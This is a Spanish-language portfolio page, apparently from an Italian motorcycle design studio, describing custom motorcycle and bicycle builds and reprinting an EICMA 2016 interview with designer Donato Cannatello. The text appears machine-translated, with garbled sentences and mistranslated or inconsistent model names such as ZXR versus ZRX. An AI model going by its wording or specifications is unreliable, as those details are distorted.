Ahora hemos creado una versión, escaparate de nuestras capacidades de diseño, donde pudimos expresar plenamente nuestras ideas acerca de la motocicleta de estilo y dónde aplicar la mayoría de los criterios que siempre nos han acompañado: funcionalidad, estética, atención al detalle y la aversión a la pintura y cubre todo inútil.

 

Nuestra CR&S Urtin evidentemente, ha sido objeto de una profunda personalización debe principalmente al hecho de que el modelo del que deriva, la CR&S LLEVA "Biotta", nacido como la versión "desnudo" CR&S DUU originales. Debido a un desarrollo incompleto del proyecto inicial en CR&S, sin embargo, la moto ha sido "denúdala" (n.d.r. Biotta) Sólo la parte delantera, dejando una extraña mezcla de delante desnuda (demasiado) y la parte trasera que en lugar todavía tenía partes de la carrocería plástica tradicional ... Demasiado duro para una moto de este calibre!

A continuación, intentamos reequilibrar el estilo entre la parte delantera y trasera, ligeramente superpuestas sobre la primera y la segunda extracción.
En Dado que entonces Urtin forma en CAD primero y luego en aluminio, casi todo de aluminio, casi todo para CAD.

 

Algunas partes han preferido la mano en el calor del momento (siempre es justo dejar una parte de la obra para el corazón), pero sobre todo la moto ha sido diseñado en su totalidad, que se muestra a continuación, hecho, todo ello con un flujo de trabajo que ahora nos caracteriza y nos ve entre los los pioneros técnicos.

La moto ha sido el resultado de mucho trabajo, en general, nuestro enfoque de proyectos siempre implica una fase preliminar de concepto 2D que sometemos al cliente (ya sea de negocios o privada), donde tratamos de poner en claro todos los puntos que serán sometidos a intervenciones y sobre todo tratar de identificar inmediatamente los dos parámetros más importantes: Volúmenes y estilo.

Una vez hecho esto se procede a la definición del proyecto, desarrollarla con el uso de ordenadores, sino también el lápiz o taller mecánico directamente.

 

Todas las piezas diseñadas por los sistemas CAD se han realizado en CNC mecanizado a partir de piezas de aluminio o de plexiglás o ABS y otros materiales. Con nuestra experiencia en el área del proyecto se ha diseñado desde cero del conjunto de la luz trasera es un friso autoiluminado que recuerda nuestro logotipo sin ser demasiado obvio.

GIVEN “Masculino”

Esta moto fue creado para una persona muy especial, en consecuencia, la moto en sí no debe ser demasiado "especial", Ya es su facilidad.
Entonces creamos un objeto que no haga demasiada atención, que era discreto y elegante, pero sutilmente extravagante.

Como suele suceder en estos casos, el objeto se origina a partir de un particular que da la "LA" a todos, en este caso, las ruedas están en 144 Los rayos de procedencia de Indonesia, a partir de estos vamos a por el proyecto en general, usando una mano marco de aluminio fabricado en Italia y un tenedor "vieja escuela MTB" reinterpretados.
muy importante, facilidad de conducción / usabilidad se ha mejorado al máximo, con una relación única pero correcta para un comienzo cómodo y bueno
La velocidad de desplazamiento.

sólo en el freno delantero y la rueda libre en la parte trasera.

El curso de pintura requiere muchas manos de pintura y varios intentos para encontrar el equilibrio correcto entre la visibilidad y la elegancia, pero estamos seguros de que encienda una bicicleta por lo que será un placer para su afortunado propietario!

Kawasaki ZXR 1100 “SIGILO”

Un clásico reeditado en un post moderna / Atómica!

Logo_Officine_Riunite_MilanesiCreado por y con "Officine Riunite Milanesi" de una Kawasaki ZXR 1100, "Lamaialona" Es un estudio de diseño deliberadamente fuerte sobre una base muy simple.
Cansado de las mismas interpretaciones en clave del corredor del café, Scrambler o hypster, optamos por una interpretación que nos permitirá hacer tanto la experimentación formal tanto de técnicas y materiales utilizados.
La idea inicial era una bicicleta en el sigilo Estilo, literalmente "sigilo, clandestina", a continuación, tratamos de aplicar este concepto a un medio típicos militares nacionales o de otro tipo de carreteras, por supuesto, nos hemos centrado en la forma cuadrada típica de este diseño, en los bordes afilados y de la naturaleza técnica del diseño global. también de "jerga" militares han heredado el rendimiento de todos los tipos de suelos, de pura fuera de la carretera a la pista de aterrizaje, el equipamiento de los medios de un sistema de ciclo altamente eficiente, la sustitución de suspensiones, ruedas y sistema de frenado. Este último se ha realizado ad hoc de acuerdo con nuestro diseño de "Sistema de frenos Discacciati" Gracias por unirse a nosotros en este ensayo, que incluyó, siempre con los más altos estándares de criterios de fiabilidad y seguridad, un componente tan exclusivamente técnica y funcional como el sistema de frenos.

Una demostración de la motocicleta y el paso de Futa

La moto está diseñado en su conjunto como un elemento de diseño de investigación para las tendencias futuras de la motocicleta, tanto de la producción en masa, sino también del personal de interpretación privada, creemos que el resultado de este experimento es sin duda positivo, vimos que se puede producir un medio de la fuerte caracterización mecánica sin que parezca una rata-bicicleta o un viejo tractor acaba de salir de años de letargo en un granero. El resultado, sin embargo es una moto que se adapta muy bien tanto para uso pesado, como un largo recorrido excursión, o un paseo en las colinas o uno estresante Futa Pass. Pero al mismo tiempo se puede utilizar "Lamaialona" como un medio diarias de transporte o como un simple movimiento "bar".

impresión 3D

Lamaialona se realizó con la ayuda de diseño 3D moderno y sistemas de impresión. El primer paso consistió en llevar la bicicleta en su ordenador, por lo que aquí se procedió a la digitalización tridimensional en cuanto el medio se produjo en el taller, el tiempo para eliminar todas las superestructuras y 5 minutos, tuvimos una hermosa nube de puntos que nos permitió proceder al diseño con una gran imagen completa.
Una vez que hemos definido el estilo comenzamos con la implementación de las diversas partes. En el primer caso hemos utilizado nuestras impresoras 3D para verificar que las piezas se ensamblan correctamente.
A continuación, la bicicleta se ha creado con una mezcla de técnicas, diseño digital y manuales más prácticos. Después de escanear todas las piezas que fueron diseñados en 3D, pero entonces las piezas de chapa de aluminio se han cortado y soldado a mano, Todas las piezas de plástico en su lugar se diseñó en base a criterios de viabilidad en el CNC para futuras reproducciones y luego se implementan utilizando la impresión 3D FDM. En ese momento una buena capa de pintura y aquí las piezas listas para su instalación.
El carenado lugar fue hecha de un único bloque de aluminio 6061 mediante fresado CNC, esto a fin de obtener una muy a menudo sin el defecto clásico de calibre delgado borde de la lámina de metal con borde expuesto.

Omologabilità

placa de visibilidad geométrica PL

Toda la moto ha sido diseñada en base a criterios de relevancia homologación perfecta, Por lo tanto, es perfectamente "código compatible" de acuerdo con las Directivas CE (2002/24/CE). Todas las luces están aprobados y posicionados posición geométricamente correcta, lo mismo se aplica para la placa de matrícula y todos los demás accesorios que se muestran. Del mismo modo las partes mecánicas están listos para superar positivamente las pruebas de homologación relacionadas (depósito, trípode, etc.).

Officine Riunite Lamaialona by GIVEN (LR) (2)

KTM E-SM “Gratis”

La KTM Freeride E-SM es una hermosa moto!

Hermosa desde el punto de vista del rendimiento, oferta de entretenimiento y diseño eléctrico innovadora.

En nuestra opinión, sin embargo,, al igual que todas las realizaciones de KTM, Tiene un diseño muy tradicional y también gráficos de carreras. Para ello asumimos este aspecto estilístico, donde se trabajó en suspensión, superestructuras, recortar y gráficos.

Las suspensiones se sustituyen con un tenedor y basculante tanto monoarm Gilera CX derivación 125

. Los círculos creados ad hoc con pequeños radios sobredimensionados.

Las superestructuras visto una reducción general de los volúmenes y una mayor vocación de carreteras o mejor motard'’ con una unidad de almacenamiento de pequeño (portaguanti) en la parte delantera de la silla.

Los cambios en los reglajes son, evidentemente, destinados a mejorar la relación hombre / máquina que interviene en la posición de conducción, altura, senderismo, etc..

Nuestra KTM Freeride E-SM como todos nuestros proyectos P.U.C.A. (Proyectos únicos en busca de Autor) y sólo una hipótesis, idea inmadura. Estaremos encantados a disminuido de acuerdo a sus preferencias si desea unirse al proyecto en el siguiente enlace:

Terminal de escape silenciador CR&S LLEVA

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Carter X-Wedge S&S e CR&S LLEVA

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Dado “Vrs01”

La única excepción a nuestras pequeñas bicicletas son bicicletas…. Esta foto está en una moto que lo hicimos por diversión y para las necesidades internas. A él le gustaba la idea de tener una bicicleta rápido y ágil, conjunto y con estilo.
Hemos descartado el engranaje fijo, sino que mantuvo la línea estilística de la moto con este tipo de transmisión. Todo relleno y acompañado de componentes de alto nivel y buscar pelea urbana!

MOTO.IT

Invertir este orden: lo que está leyendo es el comentario y que querrá de ti lectores escribirá debajo del artículo real en la pantalla especial y personalizada en EICMA 2016: Me pongo fuera de la periodística y dentro directamente en el alboroto salvaje de opinión personal, antipatía / simpatía algo así como la personalización, y sus múltiples facetas, que por definición es un lugar de enfrentamiento entre formas opuestas de la vida y el motociclismo asintótica, por lo que pido a todos a considerar estas líneas un mero comentario: El artículo genuino que escribirá los lectores dispuestos.

...

Para tratar de orientarme en los cientos de faros que me hizo un guiño persuasiva, y para aprender más, dejé seducir por el stand de Motodesign Dado que expone entre otros una - Curiosamente, en mi opinión - Especial para La Nación Kawasaki ZRX 1100 (llamado "cogida") en colaboración con Officine Riunite Milanesi, lo que me intrigó montones de discos poligonales, Para garantizar un funcionamiento riguroso que ha establecido el mismo proveedor, el legendario Enrico mismo Discacciati!

Donato Cannatello (Donato-Dado ... entendido?), Dada la experiencia del propietario y el diseño en CR&S, Incomparable, lucha, Aprilia, Fue paciente, y el intercambio de una charla conmigo me ha expuesto su punto de vista sobre EICMA 2016 y el futuro de la personalización.

Para poner dada y opiniones informaron de Donato, Añadimos que se ocupa de ambos para proporcionar un servicio de planificación y diseño para los que quieren construir un prototipo (desde el concepto de pre-serie que conducen a la producción), tanto los particulares que lo soliciten "marco de" proyectos en sus motocicletas.

"Por extraño que parezca, tuvimos mucha retroalimentación de ZRX que el Urtin, tanto expuesto en nuestro stand, a pesar Urtin es, sin duda, un diseño más refinado y ZRX medio mucho más barato, pero es evidente que la mayoría de los "colector del ojo"».

Y ¿cómo calificaría el nivel del espectáculo dentro personalizada y especial?

"El nivel de EICMA, si nos limitamos a la costumbre y especial, parece mucho mayor y madura que hace unos años: Del artiginali realidades, que aún producir resultados excepcionales, Estamos cambiando a un enfoque más maduro tanto en el diseño de ingeniería de las partes. Desde el punto de vista de la motocicleta, en vez, Me encantó la Harley "OPERA" Sur Garaje, muy elegante; También ganó el concurso, pero como usted sabe el concurso virtualmente ellos ganar un poco de todo (Donato se refiere a la gran cantidad de categorías y no se nota muy numerosos del editor de la participación); la esquina personalizado en lugar parecía un poco 'moderado, poco espacio y descentralizado que el centro vital de la Exposición, y esto parece un poco 'contrario a la intuición: es la parte más desafiante, en cambio, muchos no lo visitaron porque no sabían que estaba en la esquina del pabellón 2; También es cierto que hay un público que no está realmente interesado en la costumbre, Ellos son los que tienen la V-Strom con el tronco detrás, pero también hay muchos aficionados reales que prefieren ver una pieza tocho lugar aun no han logrado encontrar nosotros ».

Sul futuro del personalización? Donato no tiene dudas:

"El avance, Creo, es muy claro en el pasado: en el diseño de un especial que ha pasado de ser el resto de la bici en el banco e improvisar, para hacerlo primero, como en nuestro caso, una representación y digitalización en 3D, luego trabajar directamente en el ordenador, y los lados registro de mano, en la hoja o simplemente impreso en 3D; Personalización del futuro del mercado no lo ve en las habilidades de los diseñadores, porque hoy todo el mundo puede tener un ordenador y poner a un niño a través de diseñar e implementar una impresora 3D, pero creo que esto será dictada por factores legales, como el cumplimiento de los estándares de homologación y la evolución del estilo y las tendencias: hay que ver cuánto tiempo este fenómeno personalización muy Artiginale, Creo que lo hecho a mano podría muy bien ser reemplazado en un futuro cercano por una personalización más diseñada, diseñado y desarrollado más ».

Una ultima pregunta: porque los neumáticos de mosaico en una bicicleta de carretera? (De acuerdo, yo sé, es mi cruzada personal ...)

«Fue una elección del cliente ... pero debo decir que si no fuera por esta petición, el "Maialona" ZRX que no habría dibujado como ves, entender el concepto de apoyo a los músculos abdominales y no las partes inferiores del tanque, lo que parece una solución .... "Mejor". Tal vez sin los neumáticos de tacos hubiéramos hecho un movimiento menos angular, más redondo ".

Les dejo la galería de motos, con admiración por todos los expositores del sector personalizado y especial que ciertamente no están allí para un retorno económico inmediato, pero que a menudo invierten tiempo y dinero invadidos por la pasión de mover siempre un poco más el listón de la excelencia y la locura.

Acabamos de regresar de EICMA 2016

Estamos Acabamos de regresar de EICMA 2016, todavía tenemos las manos rígidas de todas las manos temblorosas intercambiado, un corazón lleno de emoción y orgullo para las muchas felicitaciones recibidas.
Queremos agradecer a todos los que vinieron a visitar y asociar todos aquellos que no pudieron venir.

gracias

Agusta Brutale MV 1098 “Unpaint”

Hemos dado como acabados que dejan el material a la vista, por eso hemos desarrollado nuestro proceso de “coloración” llamada para los cascos “UNPAINT”.
El UNPAINT no es más que un proceso de remoción de la pintura original en favor de un tratamiento más natural de la coloración de plásticos.
Hay algunas pruebas de que hay que hacer antes de que podamos aplicar nuestro proceso de, en primer lugar debe asegurarse de que todas las partes colorantes son de un material similar, por ejemplo, no se puede hacer en bicicleta con cuerpo de plástico mixto / aluminio, También sería preferible que todas las piezas de plástico tienen el mismo color de la pasta, De hecho, sucede a menudo que los tanques están hechos con un material y un proceso diferente de la de otras partes.
Sólo este caso se presenta con MV Augusta Brutale 1098 en el que hemos querido aplicar nuestra técnica de acabado, Por suerte logramos obtener un buen resultado a pesar de los diferentes materiales.
El cuerpo de la BRUTALE fue entonces desmontado y completamente despojado para luego ser procesado con numerosas manos correspondencia de grano grueso, color y otras manos de papel de lija, Luego otro color, lijado, gráfico, adhesivos, transparente y, sin embargo correspondencia.
Por lo que nuestra meta requiere mucho gusto de no exagerar y muchos bíceps para hacerse.
El resultado final es una motocicleta en la que no son del gráfico (menudo excesiva) a dominar la escena, pero la mecánica, y donde el diseño original se ve reforzada por el acabado que no cubre pero encuentra!

CR&S DE “CEFEIDE”

Un Cepheid es una estrella gigante joven que pulsa cambia regularmente su brillo en un ciclo regular stremamente.
Su alto brillo hace que las estrellas Cefeidas el parámetro estándar para medir la distancia de los cúmulos globulares y galaxias.
Nuestra VUN como Cepheid es una referencia en el mundo de la moto por su atemporalidad y sin igual.

Un ejercicio de elegancia exquisita motocicleta. La CR&S VUN es una motocicleta especial y exclusivo, por un fabricante de motocicletas de renombre Milan pequeña en el mundo por sus creaciones de rendimiento exclusivo y refinado construido a mano. Construida en una 50 especímenes, Montaje de un marco enrejado mezcló el montaje de tubos de acero con placas de aluminio 7075 blanqueado de atelier sólido Rizoma. La norma oferta de suspensión de alto rendimiento sin dejar de ser vinculado a un esquema constructivo tradicional. El tenedor delante, realizado por Paioli, Es el único de su clase para tener una configuración tradicional combinado con un diámetro considerable y la fijación radial de la pinza delantera de disco único. El amortiguador trasero en vez está montado en una posición horizontal encima de la rueda con ataque directo, muy rígido y deportivo. El motor es un solo cilindro 652cc Rotax que ofrece tanto par y 54 caballos árbol.
Todo ha votado para mantener el peso y luego exagerar el placer y la precisión en la conducción. En este sentido, las superestructuras se reducen al mínimo y se dieron cuenta con los materiales más nobles tales como aluminio forjado a mano para el tanque y el carbono de piezas de carrocería de automóvil.
Ven ex-diseñador de plomo en CR&S, ningún otro, mejores equipos Donato Cannatello y su ingeniería motocicleta presente DADOS, Podrían trabajar en la reconstrucción de una motocicleta de forma importante y exclusiva.

El trabajo en VUN vio una reconstrucción completa "frame-off", donde la moto se rompió en cada pieza para quitar la pintura original del chasis y el motor e ir a trabajar con abundancia en el basculante y los detalles importantes, pero oculta. Para este fin todas las piezas mecanizadas y acabados han sido tratados con procedimientos tan natural como sea posible con el fin de preservar las características mecánicas de cada pieza, entonces la trama ha sido mojado con un recubrimiento muy ligero de níquel que protegerá la superficie de la oxidación, mientras que las piezas de aluminio se cepillado a mano a fin de dejar expuesto el material noble.
El proceso de reconstrucción ha afectado a muchos pequeños detalles de la moto, algunos rediseñado y reconstruido utilizando el CAD para las técnicas de control numérico de acero, aluminio y ABS, sino también con las técnicas de impresión 3D para más piezas de plástico.
Todos los cambios tienen por objeto el mantenimiento de los excelentes detalles y funcionalidad de esta fantástica moto ya, su motor, sus prestaciones y la alta especialización del método de construcción. El motor y el sistema de admisión se han mantenido sustancialmente iguales para preservar las características constructivas y sobre todo de homologación.. De esta manera el "cuerpo-kit" Se puede utilizar universalmente en movimiento similar.
Se hizo un gran esfuerzo para actualizar el basculante., el montaje de un brazo doble en aluminio fundido a presión, atornillada con una placa central que ha informado de las características geométricas de la cuota original de, permitiendo así preservar el excelente chasis de la bicicleta.
Para una moto tan especial optamos por una intervención "aggiornativo" manteniendo las características importantes y mejorar aquellos en CR&S no le importa por razones de costo para el público.
El resultado es una moto muy reconocible pero con una fuerte personalidad y elegancia, que preserva el rendimiento y la exclusividad que posibilidad de uso diario. Nos encanta.

GIVEN “Karim”

KARIM es una pequeña MTB 24″, marco de aluminio y el tenedor en cromo molibdeno tanto electrochapado con baño de oro y con el gráfico ad hoc.